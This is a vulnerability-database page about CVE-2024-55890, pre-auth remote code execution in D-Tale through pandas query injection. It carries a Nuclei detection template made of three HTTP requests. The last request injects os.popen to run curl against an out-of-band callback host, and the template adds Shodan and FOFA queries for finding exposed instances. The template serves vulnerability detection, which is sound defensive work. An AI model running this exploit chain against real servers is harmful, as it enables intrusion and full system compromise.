D-Tale <= 3.16.0 - Pre-Auth RCE via Pandas Query Injection
| Reporter | Title | Published | Views | Family All 18 |
|---|---|---|---|---|
| CVE-2024-55890 | 13 Dec 202419:57 | – | circl | |
| Man D-Tale 跨站脚本漏洞 | 13 Dec 202400:00 | – | cnnvd | |
| CVE-2024-55890 | 13 Dec 202418:00 | – | cve | |
| CVE-2024-55890 D-Tale allows Remote Code Execution through the Custom Filter Input | 13 Dec 202418:00 | – | cvelist | |
| EUVD-2024-3447 | 3 Oct 202520:07 | – | euvd | |
| D-Tale allows Remote Code Execution through the Custom Filter Input | 13 Dec 202420:36 | – | github | |
| CVE-2024-55890 | 13 Dec 202418:15 | – | nvd | |
| GHSA-832W-FHMW-W4F4 D-Tale allows Remote Code Execution through the Custom Filter Input | 13 Dec 202420:36 | – | osv | |
| PYSEC-2026-1320 D-Tale allows Remote Code Execution through the Custom Filter Input | 7 Jul 202614:34 | – | osv | |
| PT-2024-36605 | 13 Dec 202400:00 | – | ptsecurity |
10
id: CVE-2024-55890
info:
name: D-Tale <= 3.16.0 - Pre-Auth RCE via Pandas Query Injection
author: 0x_Akoko
severity: critical
description: |
D-Tale prior to version 3.16.1 contains a remote code execution caused by the `update-settings` endpoint allowing updates to `enable_custom_filters`, letting attackers run malicious code on the server, exploit requires hosting D-Tale publicly.
impact: |
Attackers can execute arbitrary code on the server, potentially leading to full system compromise.
remediation: |
Upgrade to version 3.16.1 where the `update-settings` endpoint blocks `enable_custom_filters` updates.
reference:
- https://github.com/man-group/dtale/security/advisories/GHSA-qx2x-gvj9-gxw2
- https://nvd.nist.gov/vuln/detail/CVE-2024-55890
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-55890
epss-score: 0.01063
epss-percentile: 0.61342
cwe-id: CWE-95
cpe: cpe:2.3:a:man:dtale:*:*:*:*:*:*:*:*
metadata:
max-request: 2
verified: true
vendor: man-group
product: dtale
shodan-query: http.html:"D-Tale"
fofa-query: body="D-Tale"
tags: cve,cve2024,dtale,rce,oast,vkev
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
POST /dtale/upload HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----DTaleBoundary55890
Accept: application/json
Connection: close
------DTaleBoundary55890
Content-Disposition: form-data; name="poc.csv"; filename="poc.csv"
Content-Type: text/csv
a,b
1,1
------DTaleBoundary55890
Content-Disposition: form-data; name="header"
true
------DTaleBoundary55890
Content-Disposition: form-data; name="separatorType"
comma
------DTaleBoundary55890--
matchers:
- type: word
part: body
words:
- '"data_id"'
internal: true
extractors:
- type: json
name: data_id
part: body
json:
- ".data_id"
internal: true
- raw:
- |
GET /dtale/update-settings/{{data_id}}?settings=%7B%22enable_custom_filters%22%3Atrue%7D HTTP/1.1
Host: {{Hostname}}
Accept: application/json
Connection: close
matchers:
- type: word
part: body
words:
- '"success"'
internal: true
- raw:
- |
GET /dtale/test-filter/{{data_id}}?query=%40pd.core.frame.com.builtins.__import__%28%27os%27%29.popen%28%27curl+-m+5+-s+http%3A%2F%2F{{interactsh-url}}%27%29.read%28%29&save=true HTTP/1.1
Host: {{Hostname}}
Accept: application/json
Connection: close
matchers:
- type: dsl
dsl:
- 'contains(interactsh_protocol, "http")'
- 'contains(interactsh_request, "curl")'
condition: and
# digest: 4a0a0047304502204061aa1d46d96cc81c68303035fdf84d76125aae575432d4b99301403bbb7bd202210087f83ec55ab581e04ca918cc89210b1a32c3044ff2bdc39fed5bbc68c775bba1:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Aug 2026 03:44Current
6.3Medium risk
Vulners AI Score6.3
CVSS 46.9
EPSS0.01063
SSVC